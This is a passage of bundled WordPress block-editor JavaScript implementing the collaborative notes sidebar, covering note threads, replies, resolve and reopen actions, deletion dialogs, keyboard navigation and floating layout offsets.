28964 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "left", spacing: "3", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_author_info_default, {}) }),
28965 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28966 comment_form_default,
28967 {
28968 onSubmit: async (inputComment) => {
28969 const { id } = await onSubmit({ content: inputComment });
28970 focusCommentThread(id, commentSidebarRef.current);
28971 setNewNoteFormState("creating");
28972 },
28973 onCancel: unselectThread,
28974 reflowComments,
28975 submitButtonText: (0,external_wp_i18n_namespaceObject.__)("Add note"),
28976 labelText: (0,external_wp_i18n_namespaceObject.__)("New note")
28977 }
28978 )
28979 ]
28980 }
28981 );
28982}
28983
28984
28985;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comments.js
28986
28987
28988
28989
28990
28991
28992
28993
28994
28995
28996
28997
28998
28999
29000
29001
29002
29003const { useBlockElement: comments_useBlockElement } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
29004const { Menu: comments_Menu } = unlock(external_wp_components_namespaceObject.privateApis);
29005function Comments({
29006 threads: noteThreads,
29007 onEditComment,
29008 onAddReply,
29009 onCommentDelete,
29010 newNoteFormState,
29011 setNewNoteFormState,
29012 commentSidebarRef,
29013 reflowComments,
29014 isFloating = false,
29015 commentLastUpdated
29016}) {
29017 const [heights, setHeights] = (0,external_wp_element_namespaceObject.useState)({});
29018 const [selectedThread, setSelectedThread] = (0,external_wp_element_namespaceObject.useState)(null);
29019 const [boardOffsets, setBoardOffsets] = (0,external_wp_element_namespaceObject.useState)({});
29020 const [blockRefs, setBlockRefs] = (0,external_wp_element_namespaceObject.useState)({});
29021 const { setCanvasMinHeight } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
29022 const { selectBlock, toggleBlockSpotlight } = unlock(
29023 (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store)
29024 );
29025 const {
29026 blockCommentId,
29027 selectedBlockClientId,
29028 orderedBlockIds,
29029 blockMode
29030 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
29031 const {
29032 getBlockAttributes,
29033 getSelectedBlockClientId,
29034 getClientIdsWithDescendants,
29035 getBlockMode
29036 } = select(external_wp_blockEditor_namespaceObject.store);
29037 const clientId = getSelectedBlockClientId();
29038 return {
29039 blockCommentId: clientId ? getBlockAttributes(clientId)?.metadata?.noteId : null,
29040 selectedBlockClientId: clientId,
29041 orderedBlockIds: getClientIdsWithDescendants(),
29042 blockMode: clientId ? getBlockMode(clientId) : null
29043 };
29044 }, []);
29045 const relatedBlockElement = comments_useBlockElement(selectedBlockClientId);
29046 const threads = (0,external_wp_element_namespaceObject.useMemo)(() => {
29047 const t = [...noteThreads];
29048 const orderedThreads = [];
29049 if (isFloating && newNoteFormState === "open") {
29050 const newNoteThread = {
29051 id: "new-note-thread",
29052 blockClientId: selectedBlockClientId,
29053 content: { rendered: "" }
29054 };
29055 orderedBlockIds.forEach((blockId) => {
29056 if (blockId === selectedBlockClientId) {
29057 orderedThreads.push(newNoteThread);
29058 } else {
29059 const threadForBlock = t.find(
29060 (thread) => thread.blockClientId === blockId
29061 );
29062 if (threadForBlock) {
29063 orderedThreads.push(threadForBlock);
29064 }
29065 }
29066 });
29067 return orderedThreads;
29068 }
29069 return t;
29070 }, [
29071 noteThreads,
29072 isFloating,
29073 newNoteFormState,
29074 selectedBlockClientId,
29075 orderedBlockIds
29076 ]);
29077 const handleDelete = async (comment) => {
29078 const currentIndex = threads.findIndex((t) => t.id === comment.id);
29079 const nextThread = threads[currentIndex + 1];
29080 const prevThread = threads[currentIndex - 1];
29081 await onCommentDelete(comment);
29082 if (comment.parent !== 0) {
29083 setSelectedThread(comment.parent);
29084 focusCommentThread(comment.parent, commentSidebarRef.current);
29085 return;
29086 }
29087 if (nextThread) {
29088 setSelectedThread(nextThread.id);
29089 focusCommentThread(nextThread.id, commentSidebarRef.current);
29090 } else if (prevThread) {
29091 setSelectedThread(prevThread.id);
29092 focusCommentThread(prevThread.id, commentSidebarRef.current);
29093 } else {
29094 setSelectedThread(null);
29095 setNewNoteFormState("closed");
29096 relatedBlockElement?.focus();
29097 }
29098 };
29099 (0,external_wp_element_namespaceObject.useEffect)(() => {
29100 setSelectedThread(
29101 newNoteFormState === "open" ? "new-note-thread" : blockCommentId
29102 );
29103 }, [blockCommentId, newNoteFormState]);
29104 const setBlockRef = (0,external_wp_element_namespaceObject.useCallback)((id, blockRef) => {
29105 setBlockRefs((prev) => ({ ...prev, [id]: blockRef }));
29106 }, []);
29107 (0,external_wp_element_namespaceObject.useEffect)(() => {
29108 const calculateAllOffsets = () => {
29109 const offsets = {};
29110 if (!isFloating) {
29111 return { offsets, minHeight: 0 };
29112 }
29113 const selectedThreadIndex = threads.findIndex(
29114 (t) => t.id === selectedThread
29115 );
29116 const breakIndex = selectedThreadIndex === -1 ? 0 : selectedThreadIndex;
29117 const selectedThreadData = threads[breakIndex];
29118 if (!selectedThreadData || !blockRefs[selectedThreadData.id]) {
29119 return { offsets, minHeight: 0 };
29120 }
29121 let blockElement = blockRefs[selectedThreadData.id];
29122 let blockRect = blockElement?.getBoundingClientRect();
29123 const selectedThreadTop = blockRect?.top || 0;
29124 const selectedThreadHeight = heights[selectedThreadData.id] || 0;
29125 offsets[selectedThreadData.id] = -16;
29126 let previousThreadData = {
29127 threadTop: selectedThreadTop - 16,
29128 threadHeight: selectedThreadHeight
29129 };
29130 for (let i = breakIndex + 1; i < threads.length; i++) {
29131 const thread = threads[i];
29132 if (!blockRefs[thread.id]) {
29133 continue;
29134 }
29135 blockElement = blockRefs[thread.id];
29136 blockRect = blockElement?.getBoundingClientRect();
29137 const threadTop = blockRect?.top || 0;
29138 const threadHeight = heights[thread.id] || 0;
29139 let additionalOffset = -16;
29140 const previousBottom = previousThreadData.threadTop + previousThreadData.threadHeight;
29141 if (threadTop < previousBottom + 16) {
29142 additionalOffset = previousBottom - threadTop + 20;
29143 }
29144 offsets[thread.id] = additionalOffset;
29145 previousThreadData = {
29146 threadTop: threadTop + additionalOffset,
29147 threadHeight
29148 };
29149 }
29150 let nextThreadData = {
29151 threadTop: selectedThreadTop - 16
29152 };
29153 for (let i = selectedThreadIndex - 1; i >= 0; i--) {
29154 const thread = threads[i];
29155 if (!blockRefs[thread.id]) {
29156 continue;
29157 }
29158 blockElement = blockRefs[thread.id];
29159 blockRect = blockElement?.getBoundingClientRect();
29160 const threadTop = blockRect?.top || 0;
29161 const threadHeight = heights[thread.id] || 0;
29162 let additionalOffset = -16;
29163 const threadBottom = threadTop + threadHeight;
29164 if (threadBottom > nextThreadData.threadTop) {
29165 additionalOffset = nextThreadData.threadTop - threadTop - threadHeight - 20;
29166 }
29167 offsets[thread.id] = additionalOffset;
29168 nextThreadData = {
29169 threadTop: threadTop + additionalOffset
29170 };
29171 }
29172 let editorMinHeight = 0;
29173 const lastThread = threads[threads.length - 1];
29174 if (blockRefs[lastThread.id]) {
29175 const lastBlockElement = blockRefs[lastThread.id];
29176 const lastBlockRect = lastBlockElement?.getBoundingClientRect();
29177 const lastThreadTop = lastBlockRect?.top || 0;
29178 const lastThreadHeight = heights[lastThread.id] || 0;
29179 const lastThreadOffset = offsets[lastThread.id] || 0;
29180 editorMinHeight = lastThreadTop + lastThreadHeight + lastThreadOffset + 32;
29181 }
29182 return { offsets, minHeight: editorMinHeight };
29183 };
29184 const { offsets: newOffsets, minHeight } = calculateAllOffsets();
29185 if (Object.keys(newOffsets).length > 0) {
29186 setBoardOffsets(newOffsets);
29187 }
29188 setCanvasMinHeight(minHeight);
29189 }, [
29190 heights,
29191 blockRefs,
29192 isFloating,
29193 threads,
29194 selectedThread,
29195 setCanvasMinHeight,
29196 blockMode
29197 ]);
29198 const handleThreadNavigation = (event, thread, isSelected) => {
29199 if (event.defaultPrevented) {
29200 return;
29201 }
29202 const currentIndex = threads.findIndex((t) => t.id === thread.id);
29203 if ((event.key === "Enter" || event.key === "ArrowRight") && event.currentTarget === event.target && !isSelected) {
29204 setNewNoteFormState("closed");
29205 setSelectedThread(thread.id);
29206 if (!!thread.blockClientId) {
29207 selectBlock(thread.blockClientId, null);
29208 toggleBlockSpotlight(thread.blockClientId, true);
29209 }
29210 } else if ((event.key === "Enter" || event.key === "ArrowLeft") && event.currentTarget === event.target && isSelected || event.key === "Escape") {
29211 setSelectedThread(null);
29212 setNewNoteFormState("closed");
29213 if (thread.blockClientId) {
29214 toggleBlockSpotlight(thread.blockClientId, false);
29215 }
29216 focusCommentThread(thread.id, commentSidebarRef.current);
29217 } else if (event.key === "ArrowDown" && currentIndex < threads.length - 1 && event.currentTarget === event.target) {
29218 const nextThread = threads[currentIndex + 1];
29219 focusCommentThread(nextThread.id, commentSidebarRef.current);
29220 } else if (event.key === "ArrowUp" && currentIndex > 0 && event.currentTarget === event.target) {
29221 const prevThread = threads[currentIndex - 1];
29222 focusCommentThread(prevThread.id, commentSidebarRef.current);
29223 } else if (event.key === "Home" && event.currentTarget === event.target) {
29224 focusCommentThread(threads[0].id, commentSidebarRef.current);
29225 } else if (event.key === "End" && event.currentTarget === event.target) {
29226 focusCommentThread(
29227 threads[threads.length - 1].id,
29228 commentSidebarRef.current
29229 );
29230 }
29231 };
29232 const hasThreads = Array.isArray(threads) && threads.length > 0;
29233 if (!hasThreads && !isFloating) {
29234 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29235 AddComment,
29236 {
29237 onSubmit: onAddReply,
29238 newNoteFormState,
29239 setNewNoteFormState,
29240 commentSidebarRef
29241 }
29242 );
29243 }
29244 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
29245 !isFloating && newNoteFormState === "open" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29246 AddComment,
29247 {
29248 onSubmit: onAddReply,
29249 newNoteFormState,
29250 setNewNoteFormState,
29251 commentSidebarRef
29252 }
29253 ),
29254 threads.map((thread) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29255 Thread,
29256 {
29257 thread,
29258 onAddReply,
29259 onCommentDelete: handleDelete,
29260 onEditComment,
29261 isSelected: selectedThread === thread.id,
29262 setSelectedThread,
29263 setNewNoteFormState,
29264 commentSidebarRef,
29265 reflowComments,
29266 isFloating,
29267 calculatedOffset: boardOffsets[thread.id] ?? 0,
29268 setHeights,
29269 setBlockRef,
29270 selectedThread,
29271 commentLastUpdated,
29272 newNoteFormState,
29273 onKeyDown: (event) => handleThreadNavigation(
29274 event,
29275 thread,
29276 selectedThread === thread.id
29277 )
29278 },
29279 thread.id
29280 ))
29281 ] });
29282}
29283function Thread({
29284 thread,
29285 onEditComment,
29286 onAddReply,
29287 onCommentDelete,
29288 isSelected,
29289 setNewNoteFormState,
29290 commentSidebarRef,
29291 reflowComments,
29292 isFloating,
29293 calculatedOffset,
29294 setHeights,
29295 setBlockRef,
29296 setSelectedThread,
29297 selectedThread,
29298 commentLastUpdated,
29299 newNoteFormState,
29300 onKeyDown
29301}) {
29302 const { toggleBlockHighlight, selectBlock, toggleBlockSpotlight } = unlock(
29303 (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store)
29304 );
29305 const relatedBlockElement = comments_useBlockElement(thread.blockClientId);
29306 const debouncedToggleBlockHighlight = (0,external_wp_compose_namespaceObject.useDebounce)(
29307 toggleBlockHighlight,
29308 50
29309 );
29310 const { y, refs } = useFloatingThread({
29311 thread,
29312 calculatedOffset,
29313 setHeights,
29314 setBlockRef,
29315 selectedThread,
29316 commentLastUpdated
29317 });
29318 const isKeyboardTabbingRef = (0,external_wp_element_namespaceObject.useRef)(false);
29319 const onMouseEnter = () => {
29320 debouncedToggleBlockHighlight(thread.blockClientId, true);
29321 };
29322 const onMouseLeave = () => {
29323 debouncedToggleBlockHighlight(thread.blockClientId, false);
29324 };
29325 const onFocus = () => {
29326 toggleBlockHighlight(thread.blockClientId, true);
29327 };
29328 const onBlur = (event) => {
29329 const isNoteFocused = event.relatedTarget?.closest(
29330 ".editor-collab-sidebar-panel__thread"
29331 );
29332 const isDialogFocused = event.relatedTarget?.closest('[role="dialog"]');
29333 const isTabbing = isKeyboardTabbingRef.current;
29334 if (isNoteFocused && !isTabbing) {
29335 return;
29336 }
29337 if (isDialogFocused) {
29338 return;
29339 }
29340 if (isTabbing && event.currentTarget.contains(event.relatedTarget)) {
29341 return;
29342 }
29343 toggleBlockHighlight(thread.blockClientId, false);
29344 unselectThread();
29345 };
29346 const handleCommentSelect = () => {
29347 setNewNoteFormState("closed");
29348 setSelectedThread(thread.id);
29349 toggleBlockSpotlight(thread.blockClientId, true);
29350 if (!!thread.blockClientId) {
29351 selectBlock(thread.blockClientId, null);
29352 }
29353 };
29354 const unselectThread = () => {
29355 setSelectedThread(null);
29356 setNewNoteFormState("closed");
29357 toggleBlockSpotlight(thread.blockClientId, false);
29358 };
29359 const allReplies = thread?.reply || [];
29360 const lastReply = allReplies.length > 0 ? allReplies[allReplies.length - 1] : void 0;
29361 const restReplies = allReplies.length > 0 ? allReplies.slice(0, -1) : [];
29362 const commentExcerpt = getCommentExcerpt(
29363 (0,external_wp_dom_namespaceObject.__unstableStripHTML)(thread.content?.rendered),
29364 10
29365 );
29366 const ariaLabel = !!thread.blockClientId ? (0,external_wp_i18n_namespaceObject.sprintf)(
29367 // translators: %s: note excerpt
29368 (0,external_wp_i18n_namespaceObject.__)("Note: %s"),
29369 commentExcerpt
29370 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
29371 // translators: %s: note excerpt
29372 (0,external_wp_i18n_namespaceObject.__)("Original block deleted. Note: %s"),
29373 commentExcerpt
29374 );
29375 if (thread.id === "new-note-thread" && newNoteFormState === "open" && isFloating) {
29376 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29377 AddComment,
29378 {
29379 onSubmit: onAddReply,
29380 newNoteFormState,
29381 setNewNoteFormState,
29382 commentSidebarRef,
29383 reflowComments,
29384 isFloating,
29385 y,
29386 refs
29387 }
29388 );
29389 }
29390 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
29391 external_wp_components_namespaceObject.__experimentalVStack,
29392 {
29393 className: dist_clsx("editor-collab-sidebar-panel__thread", {
29394 "is-selected": isSelected,
29395 "is-floating": isFloating
29396 }),
29397 id: `comment-thread-${thread.id}`,
29398 spacing: "3",
29399 onClick: handleCommentSelect,
29400 onMouseEnter,
29401 onMouseLeave,
29402 onFocus,
29403 onBlur,
29404 onKeyUp: (event) => {
29405 if (event.key === "Tab") {
29406 isKeyboardTabbingRef.current = false;
29407 }
29408 },
29409 onKeyDown: (event) => {
29410 if (event.key === "Tab") {
29411 isKeyboardTabbingRef.current = true;
29412 } else {
29413 onKeyDown(event);
29414 }
29415 },
29416 tabIndex: 0,
29417 role: "treeitem",
29418 "aria-label": ariaLabel,
29419 "aria-expanded": isSelected,
29420 ref: isFloating ? refs.setFloating : void 0,
29421 style: isFloating ? { top: y } : void 0,
29422 children: [
29423 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29424 external_wp_components_namespaceObject.Button,
29425 {
29426 className: "editor-collab-sidebar-panel__skip-to-comment",
29427 variant: "secondary",
29428 size: "compact",
29429 onClick: () => {
29430 focusCommentThread(
29431 thread.id,
29432 commentSidebarRef.current,
29433 "textarea"
29434 );
29435 },
29436 children: (0,external_wp_i18n_namespaceObject.__)("Add new reply")
29437 }
29438 ),
29439 !thread.blockClientId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { as: "p", weight: 500, variant: "muted", children: (0,external_wp_i18n_namespaceObject.__)("Original block deleted.") }),
29440 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29441 CommentBoard,
29442 {
29443 thread,
29444 isExpanded: isSelected,
29445 onEdit: (params = {}) => {
29446 onEditComment(params);
29447 if (params.status === "approved") {
29448 unselectThread();
29449 if (isFloating) {
29450 relatedBlockElement?.focus();
29451 } else {
29452 focusCommentThread(
29453 thread.id,
29454 commentSidebarRef.current
29455 );
29456 }
29457 }
29458 },
29459 onDelete: onCommentDelete,
29460 reflowComments
29461 }
29462 ),
29463 isSelected && allReplies.map((reply) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29464 CommentBoard,
29465 {
29466 thread: reply,
29467 parent: thread,
29468 isExpanded: isSelected,
29469 onEdit: onEditComment,
29470 onDelete: onCommentDelete,
29471 reflowComments
29472 },
29473 reply.id
29474 )),
29475 !isSelected && restReplies.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { className: "editor-collab-sidebar-panel__more-reply-separator", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29476 external_wp_components_namespaceObject.Button,
29477 {
29478 size: "compact",
29479 variant: "tertiary",
29480 className: "editor-collab-sidebar-panel__more-reply-button",
29481 onClick: () => {
29482 setSelectedThread(thread.id);
29483 focusCommentThread(
29484 thread.id,
29485 commentSidebarRef.current
29486 );
29487 },
29488 children: (0,external_wp_i18n_namespaceObject.sprintf)(
29489 // translators: %s: number of replies.
29490 (0,external_wp_i18n_namespaceObject._n)(
29491 "%s more reply",
29492 "%s more replies",
29493 restReplies.length
29494 ),
29495 restReplies.length
29496 )
29497 }
29498 ) }),
29499 !isSelected && lastReply && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29500 CommentBoard,
29501 {
29502 thread: lastReply,
29503 parent: thread,
29504 isExpanded: isSelected,
29505 onEdit: onEditComment,
29506 onDelete: onCommentDelete,
29507 reflowComments
29508 }
29509 ),
29510 isSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "2", role: "treeitem", children: [
29511 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "left", spacing: "3", justify: "flex-start", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_author_info_default, {}) }),
29512 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "2", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29513 comment_form_default,
29514 {
29515 onSubmit: (inputComment) => {
29516 if ("approved" === thread.status) {
29517 onEditComment({
29518 id: thread.id,
29519 status: "hold",
29520 content: inputComment
29521 });
29522 } else {
29523 onAddReply({
29524 content: inputComment,
29525 parent: thread.id
29526 });
29527 }
29528 },
29529 onCancel: (event) => {
29530 event.stopPropagation();
29531 unselectThread();
29532 focusCommentThread(
29533 thread.id,
29534 commentSidebarRef.current
29535 );
29536 },
29537 submitButtonText: "approved" === thread.status ? (0,external_wp_i18n_namespaceObject.__)("Reopen & Reply") : (0,external_wp_i18n_namespaceObject.__)("Reply"),
29538 rows: "approved" === thread.status ? 2 : 4,
29539 labelText: (0,external_wp_i18n_namespaceObject.sprintf)(
29540 // translators: %1$s: note identifier, %2$s: author name
29541 (0,external_wp_i18n_namespaceObject.__)("Reply to note %1$s by %2$s"),
29542 thread.id,
29543 thread.author_name
29544 ),
29545 reflowComments
29546 }
29547 ) })
29548 ] }),
29549 !!thread.blockClientId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29550 external_wp_components_namespaceObject.Button,
29551 {
29552 className: "editor-collab-sidebar-panel__skip-to-block",
29553 variant: "secondary",
29554 size: "compact",
29555 onClick: (event) => {
29556 event.stopPropagation();
29557 relatedBlockElement?.focus();
29558 },
29559 children: (0,external_wp_i18n_namespaceObject.__)("Back to block")
29560 }
29561 )
29562 ]
29563 }
29564 );
29565}
29566const CommentBoard = ({
29567 thread,
29568 parent,
29569 isExpanded,
29570 onEdit,
29571 onDelete,
29572 reflowComments
29573}) => {
29574 const [actionState, setActionState] = (0,external_wp_element_namespaceObject.useState)(false);
29575 const [showConfirmDialog, setShowConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false);
29576 const actionButtonRef = (0,external_wp_element_namespaceObject.useRef)(null);
29577 const handleConfirmDelete = () => {
29578 onDelete(thread);
29579 setActionState(false);
29580 setShowConfirmDialog(false);
29581 };
29582 const handleCancel = () => {
29583 setActionState(false);
29584 setShowConfirmDialog(false);
29585 actionButtonRef.current?.focus();
29586 };
29587 const isResolutionComment = thread.type === "note" && thread.meta && (thread.meta._wp_note_status === "resolved" || thread.meta._wp_note_status === "reopen");
29588 const actions = [
29589 {
29590 id: "edit",
29591 title: (0,external_wp_i18n_namespaceObject.__)("Edit"),
29592 isEligible: ({ status }) => status !== "approved",
29593 onClick: () => {
29594 setActionState("edit");
29595 }
29596 },
29597 {
29598 id: "reopen",
29599 title: (0,external_wp_i18n_namespaceObject._x)("Reopen", "Reopen note"),
29600 isEligible: ({ status }) => status === "approved",
29601 onClick: () => {
29602 onEdit({ id: thread.id, status: "hold" });
29603 }
29604 },
29605 {
29606 id: "delete",
29607 title: (0,external_wp_i18n_namespaceObject.__)("Delete"),
29608 isEligible: () => true,
29609 onClick: () => {
29610 setActionState("delete");
29611 setShowConfirmDialog(true);
29612 }
29613 }
29614 ];
29615 const canResolve = thread.parent === 0;
29616 const moreActions = parent?.status !== "approved" ? actions.filter((item) => item.isEligible(thread)) : [];
29617 const deleteConfirmMessage = (
29618 // When deleting a top level note, descendants will also be deleted.
29619 thread.parent === 0 ? (0,external_wp_i18n_namespaceObject.__)(
29620 "Are you sure you want to delete this note? This will also delete all of this note's replies."
29621 ) : (0,external_wp_i18n_namespaceObject.__)("Are you sure you want to delete this reply?")
29622 );
29623 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
29624 external_wp_components_namespaceObject.__experimentalVStack,
29625 {
29626 spacing: "2",
29627 role: thread.parent !== 0 ? "treeitem" : void 0,
29628 children: [
29629 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "left", spacing: "3", justify: "flex-start", children: [
29630 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29631 comment_author_info_default,
29632 {
29633 avatar: thread?.author_avatar_urls?.[48],
29634 name: thread?.author_name,
29635 date: thread?.date,
29636 userId: thread?.author
29637 }
29638 ),
29639 isExpanded && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29640 external_wp_components_namespaceObject.FlexItem,
29641 {
29642 className: "editor-collab-sidebar-panel__comment-status",
29643 onClick: (event) => {
29644 event.stopPropagation();
29645 },
29646 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: "0", children: [
29647 canResolve && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29648 external_wp_components_namespaceObject.Button,
29649 {
29650 label: (0,external_wp_i18n_namespaceObject._x)(
29651 "Resolve",
29652 "Mark note as resolved"
29653 ),
29654 size: "small",
29655 icon: published_default,
29656 disabled: thread.status === "approved",
29657 accessibleWhenDisabled: thread.status === "approved",
29658 onClick: () => {
29659 onEdit({
29660 id: thread.id,
29661 status: "approved"
29662 });
29663 }
29664 }
29665 ),
29666 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(comments_Menu, { placement: "bottom-end", children: [
29667 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29668 comments_Menu.TriggerButton,
29669 {
29670 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29671 external_wp_components_namespaceObject.Button,
29672 {
29673 ref: actionButtonRef,
29674 size: "small",
29675 icon: more_vertical_default,
29676 label: (0,external_wp_i18n_namespaceObject.__)("Actions"),
29677 disabled: !moreActions.length,
29678 accessibleWhenDisabled: true
29679 }
29680 )
29681 }
29682 ),
29683 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29684 comments_Menu.Popover,
29685 {
29686 modal: false,
29687 children: moreActions.map((action) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29688 comments_Menu.Item,
29689 {
29690 onClick: () => action.onClick(),
29691 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(comments_Menu.ItemLabel, { children: action.title })
29692 },
29693 action.id
29694 ))
29695 }
29696 )
29697 ] })
29698 ] })
29699 }
29700 )
29701 ] }),
29702 "edit" === actionState ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29703 comment_form_default,
29704 {
29705 onSubmit: (value) => {
29706 onEdit({
29707 id: thread.id,
29708 content: value
29709 });
29710 setActionState(false);
29711 actionButtonRef.current?.focus();
29712 },
29713 onCancel: () => handleCancel(),
29714 thread,
29715 submitButtonText: (0,external_wp_i18n_namespaceObject._x)("Update", "verb"),
29716 labelText: (0,external_wp_i18n_namespaceObject.sprintf)(
29717 // translators: %1$s: note identifier, %2$s: author name.
29718 (0,external_wp_i18n_namespaceObject.__)("Edit note %1$s by %2$s"),
29719 thread.id,
29720 thread.author_name
29721 ),
29722 reflowComments
29723 }
29724 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29725 external_wp_element_namespaceObject.RawHTML,
29726 {
29727 className: dist_clsx(
29728 "editor-collab-sidebar-panel__user-comment",
29729 {
29730 "editor-collab-sidebar-panel__resolution-text": isResolutionComment
29731 }
29732 ),
29733 children: isResolutionComment ? (() => {
29734 const actionText = thread.meta._wp_note_status === "resolved" ? (0,external_wp_i18n_namespaceObject.__)("Marked as resolved") : (0,external_wp_i18n_namespaceObject.__)("Reopened");
29735 const content = thread?.content?.raw;
29736 if (content && typeof content === "string" && content.trim() !== "") {
29737 return (0,external_wp_i18n_namespaceObject.sprintf)(
29738 // translators: %1$s: action label ("Marked as resolved" or "Reopened"); %2$s: note text.
29739 (0,external_wp_i18n_namespaceObject.__)("%1$s: %2$s"),
29740 actionText,
29741 content
29742 );
29743 }
29744 return actionText;
29745 })() : thread?.content?.rendered
29746 }
29747 ),
29748 "delete" === actionState && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29749 external_wp_components_namespaceObject.__experimentalConfirmDialog,
29750 {
29751 isOpen: showConfirmDialog,
29752 onConfirm: handleConfirmDelete,
29753 onCancel: handleCancel,
29754 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Delete"),
29755 children: deleteConfirmMessage
29756 }
29757 )
29758 ]
29759 }
29760 );
29761};
29762var comments_default = (/* unused pure expression or super */ null && (Comments));
29763
29764
29765;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comment-menu-item.js
29766
29767
29768
29769
29770
29771
29772
29773
29774const { CommentIconSlotFill } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
29775const AddCommentMenuItem = ({ clientId, onClick, isDistractionFree }) => {
29776 const block = (0,external_wp_data_namespaceObject.useSelect)(
29777 (select) => {
29778 return select(external_wp_blockEditor_namespaceObject.store).getBlock(clientId);
29779 },
29780 [clientId]
29781 );
29782 if (!block?.isValid || block?.name === (0,external_wp_blocks_namespaceObject.getUnregisteredTypeHandlerName)()) {
29783 return null;
29784 }
29785 const isDisabled = isDistractionFree || block?.name === "core/freeform";
29786 let infoText;
29787 if (isDistractionFree) {
29788 infoText = (0,external_wp_i18n_namespaceObject.__)("Notes are disabled in distraction free mode.");
29789 } else if (block?.name === "core/freeform") {
29790 infoText = (0,external_wp_i18n_namespaceObject.__)("Convert to blocks to add notes.");
29791 }
29792 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29793 external_wp_components_namespaceObject.MenuItem,
29794 {
29795 icon: comment_default,
29796 onClick,
29797 "aria-haspopup": "dialog",
29798 disabled: isDisabled,
29799 info: infoText,
29800 children: (0,external_wp_i18n_namespaceObject.__)("Add note")
29801 }
29802 );
29803};
29804const AddCommentMenuItemFill = ({ onClick, isDistractionFree }) => {
29805 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentIconSlotFill.Fill, { children: ({ clientId, onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29806 AddCommentMenuItem,
29807 {
29808 clientId,
29809 isDistractionFree,
29810 onClick: () => {
29811 onClick();
29812 onClose();
29813 }
29814 }
29815 ) });
29816};
29817var comment_menu_item_default = AddCommentMenuItemFill;
29818
29819
29820;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comment-indicator-toolbar.js
29821
29822
29823
29824
29825
29826
29827
29828const { CommentIconToolbarSlotFill } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
29829const CommentAvatarIndicator = ({ onClick, thread }) => {
29830 const threadParticipants = (0,external_wp_element_namespaceObject.useMemo)(() => {
29831 if (!thread) {
29832 return [];
29833 }
29834 const participantsMap = /* @__PURE__ */ new Map();
29835 const allComments = [thread, ...thread.reply];
29836 allComments.sort((a, b) => new Date(a.date) - new Date(b.date));
29837 allComments.forEach((comment) => {
29838 if (comment.author_name && comment.author_avatar_urls) {
29839 if (!participantsMap.has(comment.author)) {
29840 participantsMap.set(comment.author, {
29841 name: comment.author_name,
